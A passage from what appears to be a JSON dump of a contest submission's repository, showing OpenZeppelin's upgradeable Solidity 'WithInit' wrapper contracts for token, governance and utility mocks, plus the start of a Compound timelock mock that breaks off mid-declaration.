constructor(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) public payable initializer {\n        __MyGovernor2_init(_token, _timelock);\n    }\n}\nimport \"./wizard/MyGovernor1Upgradeable.sol\";\n\ncontract MyGovernor1UpgradeableWithInit is MyGovernor1Upgradeable {\n    constructor(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) public payable initializer {\n        __MyGovernor1_init(_token, _timelock);\n    }\n}\nimport \"./GovernorTimelockControlMockUpgradeable.sol\";\n\ncontract GovernorTimelockControlMockUpgradeableWithInit is GovernorTimelockControlMockUpgradeable {\n    constructor(\n        string memory name_,\n        ERC20VotesUpgradeable token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        TimelockControllerUpgradeable timelock_,\n        uint256 quorumNumerator_\n    ) public payable initializer {\n        __GovernorTimelockControlMock_init(name_, token_, votingDelay_, votingPeriod_, timelock_, quorumNumerator_);\n    }\n}\nimport \"./GovernorTimelockCompoundMockUpgradeable.sol\";\n\ncontract GovernorTimelockCompoundMockUpgradeableWithInit is GovernorTimelockCompoundMockUpgradeable {\n    constructor(\n        string memory name_,\n        ERC20VotesUpgradeable token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        ICompoundTimelockUpgradeable timelock_,\n        uint256 quorumNumerator_\n    ) public payable initializer {\n        __GovernorTimelockCompoundMock_init(name_, token_, votingDelay_, votingPeriod_, timelock_, quorumNumerator_);\n    }\n}\nimport \"./GovernorCompatibilityBravoMockUpgradeable.sol\";\n\ncontract GovernorCompatibilityBravoMockUpgradeableWithInit is GovernorCompatibilityBravoMockUpgradeable {\n    constructor(\n        string memory name_,\n        ERC20VotesCompUpgradeable token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        uint256 proposalThreshold_,\n        ICompoundTimelockUpgradeable timelock_\n    ) public payable initializer {\n        __GovernorCompatibilityBravoMock_init(name_, token_, votingDelay_, votingPeriod_, proposalThreshold_, timelock_);\n    }\n}\nimport \"./GovernorCompMockUpgradeable.sol\";\n\ncontract GovernorCompMockUpgradeableWithInit is GovernorCompMockUpgradeable {\n    constructor(string memory name_, ERC20VotesCompUpgradeable token_) public payable initializer {\n        __GovernorCompMock_init(name_, token_);\n    }\n}\nimport \"./ERC20VotesCompMockUpgradeable.sol\";\n\ncontract ERC20VotesCompMockUpgradeableWithInit is ERC20VotesCompMockUpgradeable {\n    constructor(string memory name, string memory symbol) public payable initializer {\n        __ERC20VotesCompMock_init(name, symbol);\n    }\n}\nimport \"./ERC20VotesMockUpgradeable.sol\";\n\ncontract ERC20VotesMockUpgradeableWithInit is ERC20VotesMockUpgradeable {\n    constructor(string memory name, string memory symbol) public payable initializer {\n        __ERC20VotesMock_init(name, symbol);\n    }\n}\nimport \"./ERC1271WalletMockUpgradeable.sol\";\n\ncontract ERC1271WalletMockUpgradeableWithInit is ERC1271WalletMockUpgradeable {\n    constructor(address originalOwner) public payable initializer {\n        __ERC1271WalletMock_init(originalOwner);\n    }\n}\nimport \"./MulticallTokenMockUpgradeable.sol\";\n\ncontract MulticallTokenMockUpgradeableWithInit is MulticallTokenMockUpgradeable {\n    constructor(uint256 initialBalance) public payable initializer {\n        __MulticallTokenMock_init(initialBalance);\n    }\n}\nimport \"./ERC20MockUpgradeable.sol\";\n\ncontract ERC20MockUpgradeableWithInit is ERC20MockUpgradeable {\n    constructor(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) public payable initializer {\n        __ERC20Mock_init(name, symbol, initialAccount, initialBalance);\n    }\n}\nimport \"../token/ERC20/presets/ERC20PresetMinterPauserUpgradeable.sol\";\n\ncontract ERC20PresetMinterPauserUpgradeableWithInit is ERC20PresetMinterPauserUpgradeable {\n    constructor(string memory name, string memory symbol) public payable initializer {\n        __ERC20PresetMinterPauser_init(name, symbol);\n    }\n}\nimport \"../token/ERC721/presets/ERC721PresetMinterPauserAutoIdUpgradeable.sol\";\n\ncontract ERC721PresetMinterPauserAutoIdUpgradeableWithInit is ERC721PresetMinterPauserAutoIdUpgradeable {\n    constructor(\n        string memory name,\n        string memory symbol,\n        string memory baseTokenURI\n    ) public payable initializer {\n        __ERC721PresetMinterPauserAutoId_init(name, symbol, baseTokenURI);\n    }\n}\nimport \"../token/ERC721/ERC721Upgradeable.sol\";\n\ncontract ERC721UpgradeableWithInit is ERC721Upgradeable {\n    constructor(string memory name_, string memory symbol_) public payable initializer {\n        __ERC721_init(name_, symbol_);\n    }\n}\nimport \"./MathMockUpgradeable.sol\";\n\ncontract MathMockUpgradeableWithInit is MathMockUpgradeable {\n    constructor() public payable initializer {\n        __MathMock_init();\n    }\n}\nimport \"../finance/VestingWalletUpgradeable.sol\";\n\ncontract VestingWalletUpgradeableWithInit is VestingWalletUpgradeable {\n    constructor(\n        address beneficiaryAddress,\n        uint64 startTimestamp,\n        uint64 durationSeconds\n    ) public payable initializer {\n        __VestingWallet_init(beneficiaryAddress, startTimestamp, durationSeconds);\n    }\n}\nimport \"../token/ERC20/utils/TokenTimelockUpgradeable.sol\";\n\ncontract TokenTimelockUpgradeableWithInit is TokenTimelockUpgradeable {\n    constructor(\n        IERC20Upgradeable token_,\n        address beneficiary_,\n        uint256 releaseTime_\n    ) public payable initializer {\n        __TokenTimelock_init(token_, beneficiary_, releaseTime_);\n    }\n}\nimport \"./SafeERC20HelperUpgradeable.sol\";\n\ncontract ERC20ReturnFalseMockUpgradeableWithInit is ERC20ReturnFalseMockUpgradeable {\n    constructor() public payable initializer {\n        __ERC20ReturnFalseMock_init();\n    }\n}\nimport \"./SafeERC20HelperUpgradeable.sol\";\n\ncontract ERC20ReturnTrueMockUpgradeableWithInit is ERC20ReturnTrueMockUpgradeable {\n    constructor() public payable initializer {\n        __ERC20ReturnTrueMock_init();\n    }\n}\nimport \"./SafeERC20HelperUpgradeable.sol\";\n\ncontract ERC20NoReturnMockUpgradeableWithInit is ERC20NoReturnMockUpgradeable {\n    constructor() public payable initializer {\n        __ERC20NoReturnMock_init();\n    }\n}\nimport \"./SafeERC20HelperUpgradeable.sol\";\n\ncontract SafeERC20WrapperUpgradeableWithInit is SafeERC20WrapperUpgradeable {\n    constructor(IERC20Upgradeable token) public payable initializer {\n        __SafeERC20Wrapper_init(token);\n    }\n}\nimport \"../token/ERC777/ERC777Upgradeable.sol\";\n\ncontract ERC777UpgradeableWithInit is ERC777Upgradeable {\n    constructor(\n        string memory name_,\n        string memory symbol_,\n        address[] memory defaultOperators_\n    ) public payable initializer {\n        __ERC777_init(name_, symbol_, defaultOperators_);\n    }\n}\nimport \"../token/ERC777/presets/ERC777PresetFixedSupplyUpgradeable.sol\";\n\ncontract ERC777PresetFixedSupplyUpgradeableWithInit is ERC777PresetFixedSupplyUpgradeable {\n    constructor(\n        string memory name,\n        string memory symbol,\n        address[] memory defaultOperators,\n        uint256 initialSupply,\n        address owner\n    ) public payable initializer {\n        __ERC777PresetFixedSupply_init(name, symbol, defaultOperators, initialSupply, owner);\n    }\n}\nimport \"./ERC777SenderRecipientMockUpgradeable.sol\";\n\ncontract ERC777SenderRecipientMockUpgradeableWithInit is ERC777SenderRecipientMockUpgradeable {\n    constructor() public payable initializer {\n        __ERC777SenderRecipientMock_init();\n    }\n}\nimport \"../utils/introspection/ERC1820ImplementerUpgradeable.sol\";\n\ncontract ERC1820ImplementerUpgradeableWithInit is ERC1820ImplementerUpgradeable {\n    constructor() public payable initializer {\n        __ERC1820Implementer_init();\n    }\n}\nimport \"./ERC1820ImplementerMockUpgradeable.sol\";\n\ncontract ERC1820ImplementerMockUpgradeableWithInit is ERC1820ImplementerMockUpgradeable {\n    constructor() public payable initializer {\n        __ERC1820ImplementerMock_init();\n    }\n}\nimport \"./Create2ImplUpgradeable.sol\";\n\ncontract Create2ImplUpgradeableWithInit is Create2ImplUpgradeable {\n    constructor() public payable initializer {\n        __Create2Impl_init();\n    }\n}\nimport \"./ERC777MockUpgradeable.sol\";\n\ncontract ERC777MockUpgradeableWithInit is ERC777MockUpgradeable {\n    constructor(\n        address initialHolder,\n        uint256 initialBalance,\n        string memory name,\n        string memory symbol,\n        address[] memory defaultOperators\n    ) public payable initializer {\n        __ERC777Mock_init(initialHolder, initialBalance, name, symbol, defaultOperators);\n    }\n}\nimport \"./ERC3156FlashBorrowerMockUpgradeable.sol\";\n\ncontract ERC3156FlashBorrowerMockUpgradeableWithInit is ERC3156FlashBorrowerMockUpgradeable {\n    constructor(bool enableReturn, bool enableApprove) public payable initializer {\n        __ERC3156FlashBorrowerMock_init(enableReturn, enableApprove);\n    }\n}\nimport \"./ERC20FlashMintMockUpgradeable.sol\";\n\ncontract ERC20FlashMintMockUpgradeableWithInit is ERC20FlashMintMockUpgradeable {\n    constructor(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) public payable initializer {\n        __ERC20FlashMintMock_init(name, symbol, initialAccount, initialBalance);\n    }\n}\nimport \"./ERC165CheckerMockUpgradeable.sol\";\n\ncontract ERC165CheckerMockUpgradeableWithInit is ERC165CheckerMockUpgradeable {\n    constructor() public payable initializer {\n        __ERC165CheckerMock_init();\n    }\n}\nimport \"./ERC165/ERC165InterfacesSupportedUpgradeable.sol\";\n\ncontract SupportsInterfaceWithLookupMockUpgradeableWithInit is SupportsInterfaceWithLookupMockUpgradeable {\n    constructor() public payable initializer {\n        __SupportsInterfaceWithLookupMock_init();\n    }\n}\nimport \"./ERC165/ERC165InterfacesSupportedUpgradeable.sol\";\n\ncontract ERC165InterfacesSupportedUpgradeableWithInit is ERC165InterfacesSupportedUpgradeable {\n    constructor(bytes4[] memory interfaceIds) public payable initializer {\n        __ERC165InterfacesSupported_init(interfaceIds);\n    }\n}\nimport \"./ERC721URIStorageMockUpgradeable.sol\";\n\ncontract ERC721URIStorageMockUpgradeableWithInit is ERC721URIStorageMockUpgradeable {\n    constructor(string memory name, string memory symbol) public payable initializer {\n        __ERC721URIStorageMock_init(name, symbol);\n    }\n}\nimport \"./PausableMockUpgradeable.sol\";\n\ncontract PausableMockUpgradeableWithInit is PausableMockUpgradeable {\n    constructor() public payable initializer {\n        __PausableMock_init();\n    }\n}\nimport \"./ERC20PausableMockUpgradeable.sol\";\n\ncontract ERC20PausableMockUpgradeableWithInit is ERC20PausableMockUpgradeable {\n    constructor(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) public payable initializer {\n        __ERC20PausableMock_init(name, symbol, initialAccount, initialBalance);\n    }\n}\nimport \"../token/ERC1155/ERC1155Upgradeable.sol\";\n\ncontract ERC1155UpgradeableWithInit is ERC1155Upgradeable {\n    constructor(string memory uri_) public payable initializer {\n        __ERC1155_init(uri_);\n    }\n}\nimport \"../token/ERC1155/presets/ERC1155PresetMinterPauserUpgradeable.sol\";\n\ncontract ERC1155PresetMinterPauserUpgradeableWithInit is ERC1155PresetMinterPauserUpgradeable {\n    constructor(string memory uri) public payable initializer {\n        __ERC1155PresetMinterPauser_init(uri);\n    }\n}\nimport \"./AccessControlEnumerableMockUpgradeable.sol\";\n\ncontract AccessControlEnumerableMockUpgradeableWithInit is AccessControlEnumerableMockUpgradeable {\n    constructor() public payable initializer {\n        __AccessControlEnumerableMock_init();\n    }\n}\nimport \"./EnumerableSetMockUpgradeable.sol\";\n\ncontract EnumerableBytes32SetMockUpgradeableWithInit is EnumerableBytes32SetMockUpgradeable {\n    constructor() public payable initializer {\n        __EnumerableBytes32SetMock_init();\n    }\n}\nimport \"./EnumerableSetMockUpgradeable.sol\";\n\ncontract EnumerableAddressSetMockUpgradeableWithInit is EnumerableAddressSetMockUpgradeable {\n    constructor() public payable initializer {\n        __EnumerableAddressSetMock_init();\n    }\n}\nimport \"./EnumerableSetMockUpgradeable.sol\";\n\ncontract EnumerableUintSetMockUpgradeableWithInit is EnumerableUintSetMockUpgradeable {\n    constructor() public payable initializer {\n        __EnumerableUintSetMock_init();\n    }\n}\nimport \"./EnumerableMapMockUpgradeable.sol\";\n\ncontract EnumerableMapMockUpgradeableWithInit is EnumerableMapMockUpgradeable {\n    constructor() public payable initializer {\n        __EnumerableMapMock_init();\n    }\n}\nimport \"./ERC1155SupplyMockUpgradeable.sol\";\n\ncontract ERC1155SupplyMockUpgradeableWithInit is ERC1155SupplyMockUpgradeable {\n    constructor(string memory uri) public payable initializer {\n        __ERC1155SupplyMock_init(uri);\n    }\n}\nimport \"./ERC1155MockUpgradeable.sol\";\n\ncontract ERC1155MockUpgradeableWithInit is ERC1155MockUpgradeable {\n    constructor(string memory uri) public payable initializer {\n        __ERC1155Mock_init(uri);\n    }\n}\nimport \"./ERC1155PausableMockUpgradeable.sol\";\n\ncontract ERC1155PausableMockUpgradeableWithInit is ERC1155PausableMockUpgradeable {\n    constructor(string memory uri) public payable initializer {\n        __ERC1155PausableMock_init(uri);\n    }\n}\nimport \"./ERC1155ReceiverMockUpgradeable.sol\";\n\ncontract ERC1155ReceiverMockUpgradeableWithInit is ERC1155ReceiverMockUpgradeable {\n    constructor(\n        bytes4 recRetval,\n        bool recReverts,\n        bytes4 batRetval,\n        bool batReverts\n    ) public payable initializer {\n        __ERC1155ReceiverMock_init(recRetval, recReverts, batRetval, batReverts);\n    }\n}\nimport \"../token/ERC1155/utils/ERC1155HolderUpgradeable.sol\";\n\ncontract ERC1155HolderUpgradeableWithInit is ERC1155HolderUpgradeable {\n    constructor() public payable initializer {\n        __ERC1155Holder_init();\n    }\n}\nimport \"./ERC165StorageMockUpgradeable.sol\";\n\ncontract ERC165StorageMockUpgradeableWithInit is ERC165StorageMockUpgradeable {\n    constructor() public payable initializer {\n        __ERC165StorageMock_init();\n    }\n}\nimport \"./ERC165MockUpgradeable.sol\";\n\ncontract ERC165MockUpgradeableWithInit is ERC165MockUpgradeable {\n    constructor() public payable initializer {\n        __ERC165Mock_init();\n    }\n}\nimport \"./GovernorMockUpgradeable.sol\";\n\ncontract GovernorMockUpgradeableWithInit is GovernorMockUpgradeable {\n    constructor(\n        string memory name_,\n        ERC20VotesUpgradeable token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        uint256 quorumNumerator_\n    ) public payable initializer {\n        __GovernorMock_init(name_, token_, votingDelay_, votingPeriod_, quorumNumerator_);\n    }\n}\nimport \"./SafeCastMockUpgradeable.sol\";\n\ncontract SafeCastMockUpgradeableWithInit is SafeCastMockUpgradeable {\n    constructor() public payable initializer {\n        __SafeCastMock_init();\n    }\n}\nimport \"./TimersTimestampImplUpgradeable.sol\";\n\ncontract TimersTimestampImplUpgradeableWithInit is TimersTimestampImplUpgradeable {\n    constructor() public payable initializer {\n        __TimersTimestampImpl_init();\n    }\n}\nimport \"./TimersBlockNumberImplUpgradeable.sol\";\n\ncontract TimersBlockNumberImplUpgradeableWithInit is TimersBlockNumberImplUpgradeable {\n    constructor() public payable initializer {\n        __TimersBlockNumberImpl_init();\n    }\n}\nimport \"./EIP712ExternalUpgradeable.sol\";\n\ncontract EIP712ExternalUpgradeableWithInit is EIP712ExternalUpgradeable {\n    constructor(string memory name, string memory version) public payable initializer {\n        __EIP712External_init(name, version);\n    }\n}\nimport \"../metatx/MinimalForwarderUpgradeable.sol\";\n\ncontract MinimalForwarderUpgradeableWithInit is MinimalForwarderUpgradeable {\n    constructor() public payable initializer {\n        __MinimalForwarder_init();\n    }\n}\nimport \"./ERC20PermitMockUpgradeable.sol\";\n\ncontract ERC20PermitMockUpgradeableWithInit is ERC20PermitMockUpgradeable {\n    constructor(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) public payable initializer {\n        __ERC20PermitMock_init(name, symbol, initialAccount, initialBalance);\n    }\n}\nimport \"./ERC1155BurnableMockUpgradeable.sol\";\n\ncontract ERC1155BurnableMockUpgradeableWithInit is ERC1155BurnableMockUpgradeable {\n    constructor(string memory uri) public payable initializer {\n        __ERC1155BurnableMock_init(uri);\n    }\n}\nimport \"./ERC721PausableMockUpgradeable.sol\";\n\ncontract ERC721PausableMockUpgradeableWithInit is ERC721PausableMockUpgradeable {\n    constructor(string memory name, string memory symbol) public payable initializer {\n        __ERC721PausableMock_init(name, symbol);\n    }\n}\nimport \"./ERC721MockUpgradeable.sol\";\n\ncontract ERC721MockUpgradeableWithInit is ERC721MockUpgradeable {\n    constructor(string memory name, string memory symbol) public payable initializer {\n        __ERC721Mock_init(name, symbol);\n    }\n}\nimport \"./ERC721EnumerableMockUpgradeable.sol\";\n\ncontract ERC721EnumerableMockUpgradeableWithInit is ERC721EnumerableMockUpgradeable {\n    constructor(string memory name, string memory symbol) public payable initializer {\n        __ERC721EnumerableMock_init(name, symbol);\n    }\n}\nimport \"./StringsMockUpgradeable.sol\";\n\ncontract StringsMockUpgradeableWithInit is StringsMockUpgradeable {\n    constructor() public payable initializer {\n        __StringsMock_init();\n    }\n}\nimport \"../token/ERC721/utils/ERC721HolderUpgradeable.sol\";\n\ncontract ERC721HolderUpgradeableWithInit is ERC721HolderUpgradeable {\n    constructor() public payable initializer {\n        __ERC721Holder_init();\n    }\n}\nimport \"./ERC721ReceiverMockUpgradeable.sol\";\n\ncontract ERC721ReceiverMockUpgradeableWithInit is ERC721ReceiverMockUpgradeable {\n    constructor(bytes4 retval, Error error) public payable initializer {\n        __ERC721ReceiverMock_init(retval, error);\n    }\n}\nimport \"./ERC721BurnableMockUpgradeable.sol\";\n\ncontract ERC721BurnableMockUpgradeableWithInit is ERC721BurnableMockUpgradeable {\n    constructor(string memory name, string memory symbol) public payable initializer {\n        __ERC721BurnableMock_init(name, symbol);\n    }\n}\nimport \"./ERC20WrapperMockUpgradeable.sol\";\n\ncontract ERC20WrapperMockUpgradeableWithInit is ERC20WrapperMockUpgradeable {\n    constructor(\n        IERC20Upgradeable _underlyingToken,\n        string memory name,\n        string memory symbol\n    ) public payable initializer {\n        __ERC20WrapperMock_init(_underlyingToken, name, symbol);\n    }\n}\nimport \"../finance/PaymentSplitterUpgradeable.sol\";\n\ncontract PaymentSplitterUpgradeableWithInit is PaymentSplitterUpgradeable {\n    constructor(address[] memory payees, uint256[] memory shares_) public payable initializer {\n        __PaymentSplitter_init(payees, shares_);\n    }\n}\nimport \"./ArraysImplUpgradeable.sol\";\n\ncontract ArraysImplUpgradeableWithInit is ArraysImplUpgradeable {\n    constructor(uint256[] memory array) public payable initializer {\n        __ArraysImpl_init(array);\n    }\n}\nimport \"./ERC20SnapshotMockUpgradeable.sol\";\n\ncontract ERC20SnapshotMockUpgradeableWithInit is ERC20SnapshotMockUpgradeable {\n    constructor(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) public payable initializer {\n        __ERC20SnapshotMock_init(name, symbol, initialAccount, initialBalance);\n    }\n}\nimport \"./CountersImplUpgradeable.sol\";\n\ncontract CountersImplUpgradeableWithInit is CountersImplUpgradeable {\n    constructor() public payable initializer {\n        __CountersImpl_init();\n    }\n}\nimport \"./UUPS/TestInProdUpgradeable.sol\";\n\ncontract UUPSUpgradeableMockUpgradeableWithInit is UUPSUpgradeableMockUpgradeable {\n    constructor() public payable initializer {\n        __UUPSUpgradeableMock_init();\n    }\n}\nimport \"./UUPS/TestInProdUpgradeable.sol\";\n\ncontract UUPSUpgradeableUnsafeMockUpgradeableWithInit is UUPSUpgradeableUnsafeMockUpgradeable {\n    constructor() public payable initializer {\n        __UUPSUpgradeableUnsafeMock_init();\n    }\n}\nimport \"./UUPS/TestInProdUpgradeable.sol\";\n\ncontract UUPSUpgradeableBrokenMockUpgradeableWithInit is UUPSUpgradeableBrokenMockUpgradeable {\n    constructor() public payable initializer {\n        __UUPSUpgradeableBrokenMock_init();\n    }\n}\nimport \"./ReentrancyAttackUpgradeable.sol\";\n\ncontract ReentrancyAttackUpgradeableWithInit is ReentrancyAttackUpgradeable {\n    constructor() public payable initializer {\n        __ReentrancyAttack_init();\n    }\n}\nimport \"./ReentrancyMockUpgradeable.sol\";\n\ncontract ReentrancyMockUpgradeableWithInit is ReentrancyMockUpgradeable {\n    constructor() public payable initializer {\n        __ReentrancyMock_init();\n    }\n}\nimport \"../token/ERC20/presets/ERC20PresetFixedSupplyUpgradeable.sol\";\n\ncontract ERC20PresetFixedSupplyUpgradeableWithInit is ERC20PresetFixedSupplyUpgradeable {\n    constructor(\n        string memory name,\n        string memory symbol,\n        uint256 initialSupply,\n        address owner\n    ) public payable initializer {\n        __ERC20PresetFixedSupply_init(name, symbol, initialSupply, owner);\n    }\n}\nimport \"./ERC20BurnableMockUpgradeable.sol\";\n\ncontract ERC20BurnableMockUpgradeableWithInit is ERC20BurnableMockUpgradeable {\n    constructor(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) public payable initializer {\n        __ERC20BurnableMock_init(name, symbol, initialAccount, initialBalance);\n    }\n}\nimport \"./ContextMockUpgradeable.sol\";\n\ncontract ContextMockUpgradeableWithInit is ContextMockUpgradeable {\n    constructor() public payable initializer {\n        __ContextMock_init();\n    }\n}\nimport \"./ContextMockUpgradeable.sol\";\n\ncontract ContextMockCallerUpgradeableWithInit is ContextMockCallerUpgradeable {\n    constructor() public payable initializer {\n        __ContextMockCaller_init();\n    }\n}\nimport \"./ERC2771ContextMockUpgradeable.sol\";\n\ncontract ERC2771ContextMockUpgradeableWithInit is ERC2771ContextMockUpgradeable {\n    constructor(address trustedForwarder) public payable initializer {\n        __ERC2771ContextMock_init(trustedForwarder);\n    }\n}\nimport \"./ERC20DecimalsMockUpgradeable.sol\";\n\ncontract ERC20DecimalsMockUpgradeableWithInit is ERC20DecimalsMockUpgradeable {\n    constructor(\n        string memory name_,\n        string memory symbol_,\n        uint8 decimals_\n    ) public payable initializer {\n        __ERC20DecimalsMock_init(name_, symbol_, decimals_);\n    }\n}\nimport \"./ERC20CappedMockUpgradeable.sol\";\n\ncontract ERC20CappedMockUpgradeableWithInit is ERC20CappedMockUpgradeable {\n    constructor(\n        string memory name,\n        string memory symbol,\n        uint256 cap\n    ) public payable initializer {\n        __ERC20CappedMock_init(name, symbol, cap);\n    }\n}\nimport \"./MulticallTestUpgradeable.sol\";\n\ncontract MulticallTestUpgradeableWithInit is MulticallTestUpgradeable {\n    constructor() public payable initializer {\n        __MulticallTest_init();\n    }\n}\nimport \"../utils/escrow/EscrowUpgradeable.sol\";\n\ncontract EscrowUpgradeableWithInit is EscrowUpgradeable {\n    constructor() public payable initializer {\n        __Escrow_init();\n    }\n}\nimport \"./PullPaymentMockUpgradeable.sol\";\n\ncontract PullPaymentMockUpgradeableWithInit is PullPaymentMockUpgradeable {\n    constructor() public payable initializer {\n        __PullPaymentMock_init();\n    }\n}\nimport \"../utils/escrow/RefundEscrowUpgradeable.sol\";\n\ncontract RefundEscrowUpgradeableWithInit is RefundEscrowUpgradeable {\n    constructor(address payable beneficiary_) public payable initializer {\n        __RefundEscrow_init(beneficiary_);\n    }\n}\nimport \"./ConditionalEscrowMockUpgradeable.sol\";\n\ncontract ConditionalEscrowMockUpgradeableWithInit is ConditionalEscrowMockUpgradeable {\n    constructor() public payable initializer {\n        __ConditionalEscrowMock_init();\n    }\n}\nimport \"./ClonesMockUpgradeable.sol\";\n\ncontract ClonesMockUpgradeableWithInit is ClonesMockUpgradeable {\n    constructor() public payable initializer {\n        __ClonesMock_init();\n    }\n}\nimport \"./AddressImplUpgradeable.sol\";\n\ncontract AddressImplUpgradeableWithInit is AddressImplUpgradeable {\n    constructor() public payable initializer {\n        __AddressImpl_init();\n    }\n}\nimport \"./StorageSlotMockUpgradeable.sol\";\n\ncontract StorageSlotMockUpgradeableWithInit is StorageSlotMockUpgradeable {\n    constructor() public payable initializer {\n        __StorageSlotMock_init();\n    }\n}\nimport \"./OwnableMockUpgradeable.sol\";\n\ncontract OwnableMockUpgradeableWithInit is OwnableMockUpgradeable {\n    constructor() public payable initializer {\n        __OwnableMock_init();\n    }\n}\nimport \"./SignatureCheckerMockUpgradeable.sol\";\n\ncontract SignatureCheckerMockUpgradeableWithInit is SignatureCheckerMockUpgradeable {\n    constructor() public payable initializer {\n        __SignatureCheckerMock_init();\n    }\n}\nimport \"./ECDSAMockUpgradeable.sol\";\n\ncontract ECDSAMockUpgradeableWithInit is ECDSAMockUpgradeable {\n    constructor() public payable initializer {\n        __ECDSAMock_init();\n    }\n}\nimport \"./BadBeaconUpgradeable.sol\";\n\ncontract BadBeaconNoImplUpgradeableWithInit is BadBeaconNoImplUpgradeable {\n    constructor() public payable initializer {\n        __BadBeaconNoImpl_init();\n    }\n}\nimport \"./BadBeaconUpgradeable.sol\";\n\ncontract BadBeaconNotContractUpgradeableWithInit is BadBeaconNotContractUpgradeable {\n    constructor() public payable initializer {\n        __BadBeaconNotContract_init();\n    }\n}\nimport \"./BitmapMockUpgradeable.sol\";\n\ncontract BitMapMockUpgradeableWithInit is BitMapMockUpgradeable {\n    constructor() public payable initializer {\n        __BitMapMock_init();\n    }\n}\nimport \"./CallReceiverMockUpgradeable.sol\";\n\ncontract CallReceiverMockUpgradeableWithInit is CallReceiverMockUpgradeable {\n    constructor() public payable initializer {\n        __CallReceiverMock_init();\n    }\n}\nimport \"./ClashingImplementationUpgradeable.sol\";\n\ncontract ClashingImplementationUpgradeableWithInit is ClashingImplementationUpgradeable {\n    constructor() public payable initializer {\n        __ClashingImplementation_init();\n    }\n}\nimport \"./compound/CompTimelockUpgradeable.sol\";\n\ncontract CompTimelockUpgradeableWithInit is CompTimelockUpgradeable {\n    constructor(address admin_, uint256 delay_) public payable initializer {\n        __CompTimelock_init(admin_, delay_);\n    }\n}\nimport \"./DummyImplementationUpgradeable.sol\";\n\ncontract DummyImplementationUpgradeableWithInit is DummyImplementationUpgradeable {\n    constructor() public payable initializer {\n        __DummyImplementation_init();\n    }\n}\nimport \"./DummyImplementationUpgradeable.sol\";\n\ncontract DummyImplementationV2UpgradeableWithInit is DummyImplementationV2Upgradeable {\n    constructor() public payable initializer {\n        __DummyImplementationV2_init();\n    }\n}\nimport \"./ERC165/ERC165MissingDataUpgradeable.sol\";\n\ncontract ERC165MissingDataUpgradeableWithInit is ERC165MissingDataUpgradeable {\n    constructor() public payable initializer {\n        __ERC165MissingData_init();\n    }\n}\nimport \"./ERC165/ERC165NotSupportedUpgradeable.sol\";\n\ncontract ERC165NotSupportedUpgradeableWithInit is ERC165NotSupportedUpgradeable {\n    constructor() public payable initializer {\n        __ERC165NotSupported_init();\n    }\n}\nimport \"./EtherReceiverMockUpgradeable.sol\";\n\ncontract EtherReceiverMockUpgradeableWithInit is EtherReceiverMockUpgradeable {\n    constructor() public payable initializer {\n        __EtherReceiverMock_init();\n    }\n}\nimport \"./MerkleProofWrapperUpgradeable.sol\";\n\ncontract MerkleProofWrapperUpgradeableWithInit is MerkleProofWrapperUpgradeable {\n    constructor() public payable initializer {\n        __MerkleProofWrapper_init();\n    }\n}\nimport \"./SafeMathMockUpgradeable.sol\";\n\ncontract SafeMathMockUpgradeableWithInit is SafeMathMockUpgradeable {\n    constructor() public payable initializer {\n        __SafeMathMock_init();\n    }\n}\nimport \"./SignedSafeMathMockUpgradeable.sol\";\n\ncontract SignedSafeMathMockUpgradeableWithInit is SignedSafeMathMockUpgradeable {\n    constructor() public payable initializer {\n        __SignedSafeMathMock_init();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/compound/CompTimelockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: BSD-3-Clause\n// solhint-disable private-vars-leading-underscore\n/**\n * Copyright 2020 Compound Labs, Inc.\n *\n * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the\n * following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following\n *    disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the\n *    following disclaimer in the documentation and/or other materials provided with the distribution.\n *\n * 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote\n *    products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\npragma solidity ^0.8.0;\nimport \"../../proxy/utils/Initializable.sol\";\n\ncontract CompTimelockUpgradeable is Initializable {\n    event NewAdmin(address indexed newAdmin);\n    event NewPendingAdmin(address indexed newPendingAdmin);\n    event NewDelay(uint256 indexed newDelay);\n    event CancelTransaction(\n        bytes32 indexed txHash,\n        address indexed target,\n        uint256 value,\n        string signature,\n        bytes data,\n        uint256 eta\n    );\n    event ExecuteTransaction(\n        bytes32 indexed txHash,\n        address indexed target,\n        uint256 value,\n        string signature,\n        bytes data,\n        uint256 eta\n    );\n    event QueueTransaction(\n        bytes32 indexed txHash,\n        address indexed target,\n        uint256 